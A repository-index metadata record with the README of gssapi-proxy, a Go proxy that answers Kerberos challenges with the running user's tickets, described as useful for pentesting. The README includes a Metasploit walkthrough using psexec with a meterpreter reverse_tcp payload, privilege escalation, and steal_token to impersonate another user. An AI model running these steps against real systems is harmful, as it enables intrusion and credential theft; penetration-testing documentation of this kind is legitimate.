{"id":13775789,"url":"https://github.com/mikkolehtisalo/gssapi-proxy","last_synced_at":"2026-02-08T06:49:10.088Z","repository":{"id":16458574,"uuid":"19210566","full_name":"mikkolehtisalo/gssapi-proxy","owner":"mikkolehtisalo","description":"GSSAPI/Kerberos proxy","archived":false,"fork":false,"pushed_at":"2014-04-27T17:01:07.000Z","size":232,"stargazers_count":30,"open_issues_count":1,"forks_count":15,"subscribers_count":4,"default_branch":"master","last_synced_at":"2024-04-24T10:16:41.503Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mikkolehtisalo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2014-04-27T16:59:51.000Z","updated_at":"2023-10-11T19:53:43.000Z","dependencies_parsed_at":"2022-08-04T09:30:23.801Z","dependency_job_id":null,"html_url":"https://github.com/mikkolehtisalo/gssapi-proxy","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mikkolehtisalo%2Fgssapi-proxy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mikkolehtisalo%2Fgssapi-proxy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mikkolehtisalo%2Fgssapi-proxy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mikkolehtisalo%2Fgssapi-proxy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mikkolehtisalo","download_url":"https://codeload.github.com/mikkolehtisalo/gssapi-proxy/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253540373,"owners_count":21924521,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:50.028Z","updated_at":"2026-02-08T06:49:10.029Z","avatar_url":"https://github.com/mikkolehtisalo.png","language":"Go","funding_links":[],"categories":["\u003ca id=\"d03d494700077f6a65092985c06bf8e8\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"0ff94312f3ab4898f5996725133ea9d1\"\u003e\u003c/a\u003e未分类"],"readme":"Gssapi-proxy\n============\n\nSimple http proxy for Windows. Uses running user's kerberos login to respond to kerberos/GSSAPI challenges (401/Www-Authenticate) on behalf of the client. Potentially useful for pentesting, and developers working with kerberos/GSSAPI. Implemented in Go, using SSPI. Highly extensible.\n\nTested on Windows 8.1 (32-bit), with Heimdal KDC and MIT's implementation of GSSAPI libraries at the other end. Should run on Windows 2000+, and might fall back to NTLM if building kerberos context fails.\n\nBuilding\n--------\n\nThe following command should build the application. It is a little bit large, but it should not require any dependencies from target the systems.\n\n```\ngo build src\\gssapi-proxy.go\n```\n\nMetasploit example\n------------------\n\nThe following example exploits an other user, and runs the proxy remotely.\n\n```\nuse exploit/windows/smb/psexec\nset payload windows/meterpreter/reverse_tcp\nset rhost x.x.x.x\nset smbdomain localdomain\nset smbuser user\nset smbpass password\nexploit\n# ... elevate to Administrator / SYSTEM\nupload gssapi-proxy.exe /windows/system32/gssapi-proxy.exe\n# Pick process that belongs to the user that has valid kerberos tickets!\nps\nsteal_token PID \ngetuid\n# Should show correct user\nshell\ncd /windows/system32/\ngssapi-proxy.exe\n# Should work, connect your browser to the proxy\n# ....\n# Reverse back to admin/system when you are done\nrev2self\n```\n\nNotes\n-----\n\n* You must run the application as user that has valid kerberos login and tickets. Although they can later be stolen (at least WCE 1.2+ can do that) and moved to other computers, they can not initially be generated without authenticating against KDC.\n* Only the most common flags are set when generating tokens. For instance delegation (ISC_REQ_DELEGATE) is not allowed for kerberos keys by default. Please see SSPI [documentation](http://msdn.microsoft.com/en-us/library/Windows/desktop/aa375509(v=vs.85).aspx) for more information if you run into problems.\n* Does not reply to mutual authentication request, but it's probably somewhat rare to bump into with web applications.\n* 64-bit platforms should still offer 32-bit compatible library/API so the application should compile and work. There's afaik no reason why the application should be 64-bit.\n* The application does not add proxy headers, or manipulate any other headers besides Www-Authenticate/Authorization intentionally.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmikkolehtisalo%2Fgssapi-proxy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmikkolehtisalo%2Fgssapi-proxy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmikkolehtisalo%2Fgssapi-proxy/lists"}